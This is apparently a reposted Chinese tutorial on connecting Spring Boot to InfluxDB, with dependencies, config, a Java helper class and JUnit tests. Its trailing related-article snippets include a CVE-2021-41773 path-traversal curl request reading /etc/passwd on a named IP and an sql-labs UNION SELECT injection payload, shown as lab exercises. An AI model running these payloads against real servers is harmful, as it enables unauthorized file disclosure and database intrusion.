SpringBoot整合InfluxDB(实战)

一、简单介绍InfluxDB是什么?

InfluxDB是一个由InfluxData开发的开源时序型数据。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。

1、主要特点

时间序列数据存储
专门设计用于高效处理按时间顺序产生的数据,如传感器数据、日志数据、指标数据等。时间戳是 InfluxDB 中数据的关键组成部分,确保数据的时间顺序性。
可以存储大量的时间序列数据,并提供高效的查询和存储机制,以满足对实时数据和历史数据的处理需求。

高性能
针对时间序列数据的特点进行了优化,能够快速写入和查询大规模的数据。它采用了高效的数据存储结构和索引机制,使得数据的读写操作非常迅速。
支持高并发的写入和查询,可以满足大规模数据采集和实时监控系统的需求。

灵活的数据模型
InfluxDB 使用一种灵活的数据模型,包括测量(measurement)、标签(tag)和字段(field)。
测量类似于传统数据库中的表,用于存储具有相同数据结构的时间序列数据。标签用于对数据进行分类和索引,方便快速查询。字段则存储实际的测量值,可以是数值、字符串或布尔值等。

强大的查询语言
InfluxDB 提供了一种功能强大的查询语言 InfluxQL,用于查询和分析时间序列数据。
InfluxQL 支持各种聚合函数、时间范围查询、过滤条件等,可以方便地进行数据分析和可视化。它还支持连续查询(Continuous Queries)和存储策略(Retention Policies),可以自动对数据进行聚合和清理,以提高查询性能和节省存储空间。

2、应用场景

物联网(IoT)
在物联网应用中,大量的传感器设备会不断产生时间序列数据,如温度、湿度、压力等。InfluxDB 可以高效地存储和查询这些数据,为物联网数据分析和监控提供支持。
可以实时监测设备状态、分析设备性能、预测设备故障等。

系统监控
用于监控服务器、网络设备、应用程序等的性能指标。例如,可以收集 CPU 使用率、内存使用率、网络流量等数据,并使用 InfluxDB 进行存储和分析。
通过实时监控和历史数据分析,可以及时发现系统性能问题,进行故障排除和优化。

金融交易数据分析
在金融领域,时间序列数据非常重要,如股票价格、汇率、交易量等。InfluxDB 可以用于存储和分析这些金融数据,为交易决策和风险评估提供支持。
可以进行实时行情分析、历史数据回溯、交易策略评估等。

日志分析
可以将日志数据以时间序列的形式存储在 InfluxDB 中,方便进行日志分析和故障排查。
通过查询特定时间范围内的日志数据,可以快速定位问题发生的时间和原因。

总之,InfluxDB 是一个功能强大的时间序列数据库,适用于各种需要处理时间序列数据的场景。它的高性能、灵活的数据模型和强大的查询语言使得它成为了许多企业和开发者的首选数据库之一。

想要更深入了解,请:点击这里

二、使用步骤

1、集成原生的InfluxDB

依赖:

<!-- InfluxDB 原生依赖 -->
<dependency><groupId>org.influxdb</groupId><artifactId>influxdb-java</artifactId><version>2.22</version>
</dependency>

配置:

#---------
# Influxdb
#---------
influxdb:url: http://127.0.0.1:8086username: adminpassword: admindatabase: testretention: autogen  //数据保留策略

InfluxDB数据库操作类:

package com.geesun.influxdb;import cn.hutool.core.collection.CollUtil;
import org.influxdb.InfluxDB;
import org.influxdb.InfluxDB.ConsistencyLevel;
import org.influxdb.dto.*;
import org.influxdb.dto.Point.Builder;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import plus.ojbk.influxdb.autoconfigure.properties.InfluxdbProperties;import javax.annotation.Resource;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;/*** InfluxDB数据库操作类*/
@Service
public class InfluxDbCommand {@Resourceprivate InfluxDB influxDB;@Resourceprivate InfluxdbProperties config;@Value("${influxdb.retention}")private String retentionPolicy;/*** 测试连接是否正常** @return true 正常*/public boolean ping() {boolean isConnected = false;Pong pong;try {pong = influxDB.ping();if (pong != null) {isConnected = true;}} catch (Exception e) {e.printStackTrace();}return isConnected;}/*** 切换数据库*/public void setDB(String dbName) {influxDB.setDatabase(dbName);}/*** 关闭数据库*/public void close() {influxDB.close();}/*** 创建自定义保留策略** @param policyName  策略名* @param days        保存天数* @param replication 保存副本数量* @param isDefault   是否设为默认保留策略*/public void createRetentionPolicy(String policyName, int days, int replication, Boolean isDefault) {String sql = String.format("CREATE RETENTION POLICY \"%s\" ON \"%s\" DURATION %sd REPLICATION %s ", policyName,config.getDatabase(), days, replication);if (Boolean.TRUE.equals(isDefault)) {sql = sql + " DEFAULT";}query(sql);}/*** 切换策略** @param policyName 策略名*/public void updRetentionPolicy(String policyName) {String sql = "ALTER RETENTION POLICY \"" + policyName + "\" ON \"" + config.getDatabase() + "\" DEFAULT";query(sql);this.retentionPolicy = policyName;}/*** 创建默认的保留策略* <p>* 策略名:hour,保存天数:30天,保存副本数量:1,设为默认保留策略*/public void createDefaultRetentionPolicy() {String command = String.format("CREATE RETENTION POLICY \"%s\" ON \"%s\" DURATION %s REPLICATION %s DEFAULT", "hour", config.getDatabase(), "30d", 1);this.query(command);}/*********************************增删查**************************************************//*** 查询** @param command 查询语句* @return*/public QueryResult query(String command) {return influxDB.query(new Query(command, config.getDatabase()));}/*** 插入** @param measurement 表* @param tags        标签* @param fields      字段*/public void insert(String measurement, Map<String, String> tags, Map<String, Object> fields, long time,TimeUnit timeUnit) {Builder builder = Point.measurement(measurement);builder.tag(tags);builder.fields(fields);if (0 != time) {builder.time(time, timeUnit);}influxDB.write(config.getDatabase(), retentionPolicy, builder.build());}/*** 插入** @param measurement 表* @param tags        标签* @param fields      字段*/public void insert(String measurement, Map<String, String> tags, Map<String, Object> fields) {insert(measurement, tags, fields, System.currentTimeMillis(), TimeUnit.MILLISECONDS);}/*** 删除** @param command 删除语句* @return 返回错误信息*/public String deleteMeasurementData(String command) {QueryResult result = influxDB.query(new Query(command, config.getDatabase()));return result.getError();}/*** 构建Point** @param measurement 表* @param time        时间* @param timeUnit    时间单位* @param tags        tags* @param fields* @return*/public Point pointBuilder(String measurement, long time, TimeUnit timeUnit, Map<String, String> tags, Map<String, Object> fields) {return Point.measurement(measurement).time(time, timeUnit).tag(tags).fields(fields).build();}/*** 批量写入测点** @param batchPoints*/public void batchInsert(BatchPoints batchPoints) {influxDB.write(batchPoints);}/*** 批量写入数据** @param database        数据库* @param retentionPolicy 保存策略* @param consistency     一致性* @param records         要保存的数据(调用BatchPoints.lineProtocol()可得到一条record)*/public void batchInsert(final String database, final String retentionPolicy, final ConsistencyLevel consistency, TimeUnit timeUnit, final List<String> records) {influxDB.write(database, retentionPolicy, consistency, timeUnit, records);}/*** 查询-把查询出的结果集转换成对应的实体对象,聚合成list* @param command : sql语句*/public List<Map<String, Object>> queryWrapper(String command) {List<Map<String, Object>> list = new ArrayList<>();QueryResult queryResult = influxDB.query(new Query(command));List<QueryResult.Result> resultList = queryResult.getResults();for (QueryResult.Result result : resultList) {List<QueryResult.Series> seriesList = result.getSeries();if (CollUtil.isEmpty(seriesList)) {return list;}for (QueryResult.Series series : seriesList) {List<String> columns = series.getColumns();List<List<Object>> values = series.getValues();if (CollUtil.isEmpty(values)) {continue;}values.forEach(value -> {Map<String, Object> map = new HashMap<>();for (int i = 0; i < columns.size(); i++) {map.put(columns.get(i), value.get(i));}list.add(map);});}}return list;}}

2、集成封装的InfluxDBTemplate

依赖:

<dependency><groupId>plus.ojbk</groupId><artifactId>influxdb-spring-boot-starter</artifactId><version>1.0.2</version>
</dependency>

配置:

#---------
# Influxdb
#---------
influxdb:url: http://127.0.0.1:8086username: adminpassword: admindatabase: testretention: autogen  //数据保留策略

实体,对标influxDB的表:

package io.springboot.influxdb.entity;import lombok.Data;
import org.influxdb.annotation.Column;
import org.influxdb.annotation.Measurement;
import plus.ojbk.influxdb.annotation.Count;import java.math.BigDecimal;
import java.time.LocalDateTime;/*** @version 1.0* @since 2021/6/17 18:26*/
@Data
@Measurement(name = "device")
public class Device {/*** 设备编号*/@Column(name="device_no", tag = true)  //tag 可以理解为influxdb的索引private String deviceNo;/*** 数据值*/@Count("value")@Column(name="value")private BigDecimal value;/*** 电压*/@Column(name="voltage")private Float voltage;/*** 状态*/@Column(name="state")private Boolean state;/*** 上报时间*/@Column(name="time")private LocalDateTime time;}

测试:

package io.springboot.influxdb;import com.alibaba.fastjson.JSON;
import io.springboot.influxdb.entity.Device;
import org.influxdb.dto.QueryResult;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import plus.ojbk.influxdb.core.Delete;
import plus.ojbk.influxdb.core.InfluxdbTemplate;
import plus.ojbk.influxdb.core.Op;
import plus.ojbk.influxdb.core.Order;
import plus.ojbk.influxdb.core.Query;
import plus.ojbk.influxdb.core.model.DeleteModel;
import plus.ojbk.influxdb.core.model.QueryModel;import java.math.BigDecimal;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;@SpringBootTest
class InfluxdbDemoApplicationTests {@Autowiredprivate InfluxdbTemplate influxdbTemplate;private String measurement = "device";@Testvoid getCount() {QueryModel countModel = new QueryModel();///countModel.setMeasurement(measurement);countModel.setMeasurement(InfluxdbUtils.getMeasurement(Device.class));countModel.setStart(LocalDateTime.now().plusHours(-2L));countModel.setEnd(LocalDateTime.now());//countModel.setSelect(Query.count("voltage"));  //只能count field字段countModel.setSelect(Query.count(InfluxdbUtils.getCountField(Device.class)));countModel.setWhere(Op.where(countModel));//获得总条数long count = influxdbTemplate.count(Query.build(countModel));System.err.println(count);}@Testvoid getData() {QueryModel model = new QueryModel();model.setCurrent(1L); //当前页model.setSize(10L); //每页大小//model.setMeasurement(measurement);model.setMeasurement(InfluxdbUtils.getMeasurement(Device.class));model.setStart(LocalDateTime.now().plusHours(-2L)); //开始时间model.setEnd(LocalDateTime.now()); //结束时间model.setUseTimeZone(true);  //时区model.setOrder(Order.DESC);  //排序//where 条件中额外参数可放入model.setMap();model.setWhere(Op.where(model)); //理解为where条件//分页数据List<Device> deviceList = influxdbTemplate.selectList(Query.build(model), Device.class);System.err.println(JSON.toJSONString(deviceList));}@Testvoid insert() {List<Device> deviceList = new ArrayList<>();for (int i = 0; i < 10; i++) {Device device = new Device();device.setDeviceNo("device-" + i);device.setValue(new BigDecimal(12.548));device.setState(true);device.setVoltage(3.5F);deviceList.add(device);}influxdbTemplate.insert(deviceList);}@Testvoid delete() {Map<String, Object> map = new TreeMap<>();map.put("device_no", "device-1");DeleteModel model = new DeleteModel();model.setMap(map);//model.setStart(LocalDateTime.now().plusHours(-10L));//model.setEnd(LocalDateTime.now());model.setMeasurement(measurement);model.setWhere(Op.where(model));influxdbTemplate.delete(Delete.build(model));}void other(){influxdbTemplate.execute("自己写sql");}
}

相较于原版,它封装了自有的Util以及Template等,对于原版Point的time列类型问题,它对number和long 型转换成了LocalDateTime类型,并且封装了更多的方法(具体自行拓展)。

注:原生的influxDB和spring自带的可一起使用。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148651.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【机器学习】生成对抗网络(GAN)——生成新数据的神经网络

生成对抗网络&#xff08;Generative Adversarial Networks&#xff0c;简称GAN&#xff09;是一种创新的神经网络结构&#xff0c;近年来在机器学习和人工智能领域引起了广泛的关注。GAN的核心思想是通过两个神经网络的对抗性训练&#xff0c;生成高质量的、与真实数据相似的新…

FastAPI 第二课 -- 安装

目录 一. 前言 二. 运行第一个 FastAPI 应用 一. 前言 FastAPI 依赖 Python 3.8 及更高版本。 安装 FastAPI 很简单&#xff0c;这里我们使用 pip 命令来安装。 pip install fastapi 另外我们还需要一个 ASGI 服务器&#xff0c;生产环境可以使用 Uvicorn 或者 Hypercorn…

构建 Spring Data JPA 项目所需的依赖与配置

一、使用 Spring Boot Initializr 添加依赖的步骤&#xff08;IntelliJ IDEA 中的操作&#xff09; 打开 IntelliJ IDEA&#xff0c;选择 New Project > Spring Initializr。填写项目的 Group、Artifact、Project Metadata 等基础信息。选择 Maven Project&#xff0c;并选…

函数模板进阶 - 为什么函数模板不要特化?

本文参考文章2001 年 7 月的 C/C++ Users Journal,第 19 卷第 7 期:Why Not Specialize Function Templates? 大家有兴趣可以看看原文。 文章目录 一、 重载和特化1. 重载2. 特化二、特化和重载的调用优先级1. 第一份代码2. 第二份代码3. 原因三、函数模板特化的书写格式1. …

扩散模型和表示学习(Diffusion Models and Representation Learning)

Diffusion Models专栏文章汇总&#xff1a;入门与实战 前言&#xff1a;扩散模型是各种视觉任务中流行的生成建模方法&#xff0c;引起了人们的广泛关注。它们可以被认为是自监督学习方法的一个独特实例&#xff0c;因为它们独立于标签注释。这篇博客讨论扩散模型与表征学习之间…

《linux系统》基础操作

二、综合应用题(共50分) 随着云计算技术、容器化技术和移动技术的不断发展,Unux服务器已经成为全球市场的主导者,因此具备常用服务器的配置与管理能力很有必要。公司因工作需要,需要建立相应部门的目录,搭建samba服务器和FTP服务器,要求将销售部的资料存放在samba服务器…

Android15之编译Cuttlefish模拟器(二百三十一)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

托盘检测系统源码分享

托盘检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

电脑误删文件回收站清空了怎么找回文件?

在日常工作和生活中&#xff0c;电脑已成为我们不可或缺的工具。然而&#xff0c;随着使用频率的增加&#xff0c;误删文件的情况也时有发生。更为糟糕的是&#xff0c;有时候我们在清空回收站后才意识到误删了重要文件。面对这种情况&#xff0c;很多人可能会感到绝望&#xf…

MatrixOne 助力某电信运营商构建低成本高性能车联网管理系统

客户基本情况 该电信运营商在物联网领域深耕多年&#xff0c;致力于为企业和个人提供全面的物联网解决方案&#xff0c;包括智能连接、设备管理、数据采集与分析等核心服务。凭借其强大的网络覆盖和技术优势&#xff0c;该运营商为各行业提供高效、安全、可靠的物联网服务&…

【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

1. 背景介绍 该工作属于多年之前的用户增长算法业务项目。在个性化push中&#xff0c;文案扮演非常重要的角色&#xff0c;是用户与push的商品之间的桥梁&#xff0c;文案是用户最直接能感知的信息。应该说在push产品信息之外&#xff0c;最重要的就是文案&#xff0c;直接能…

【二等奖论文】2024年华为杯研究生数学建模F题成品论文

您的点赞收藏是我继续更新的最大动力&#xff01; 一定要点击如下的卡片&#xff0c;那是获取资料的入口&#xff01; 【全网最全】2024年华为杯研赛F题保奖思路matlab/py代码成品论文等&#xff08;后续会更新完整 点击链接加入群聊【2024华为杯研赛资料汇总】&#xff1a;ht…

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志&#xff0c;可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意&#xff0c;这个软件会报毒…

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir&#xff1a; 列出当前目录下的所有文件以及目录 cls &#xff1a;清理屏幕 exit&#xff1a; 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del&#xff1a; 删除文件 ipconfig &#xff1a; 查看IP信息 ipconfig/all &#xf…

导入时,文档模板不被下载

问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 这是个SSM项目&#xff0c;以前经常遇到这个问题&#xff0c;今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库&#xff0c;搜索图标并加入购物车&#xff1a; 2.点击页面右上角购物车图标 &#xff0c;点击添加至项目&#xff0c;如没有项目&#xff0c;需要点击下图第二步的图标新建一个项目目录&#xff0c;如已经有项目则…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题&#xff0c;真实考过&#xff0c;看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

sql-labs靶场

第一关&#xff08;get传参&#xff0c;单引号闭合&#xff0c;有回显&#xff0c;无过滤&#xff09; ?id-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) -- 第二关&#xff08;get传参&#xff0c;无闭…

阅读CVPR论文——mPLUG-Owl2:革命性的多模态大语言模型与模态协作

读后感悟&#xff1a; 1&#xff09;实验部分非常丰富&#xff0c;并且论文中的图制作的非常精美&#xff0c;论文开篇的图制作的别出心裁&#xff0c;将几种不同的方法表现出的性能差异不是以普通的表格形式展现&#xff0c;而是制作成了一副环状折线图&#xff0c;论文中其他…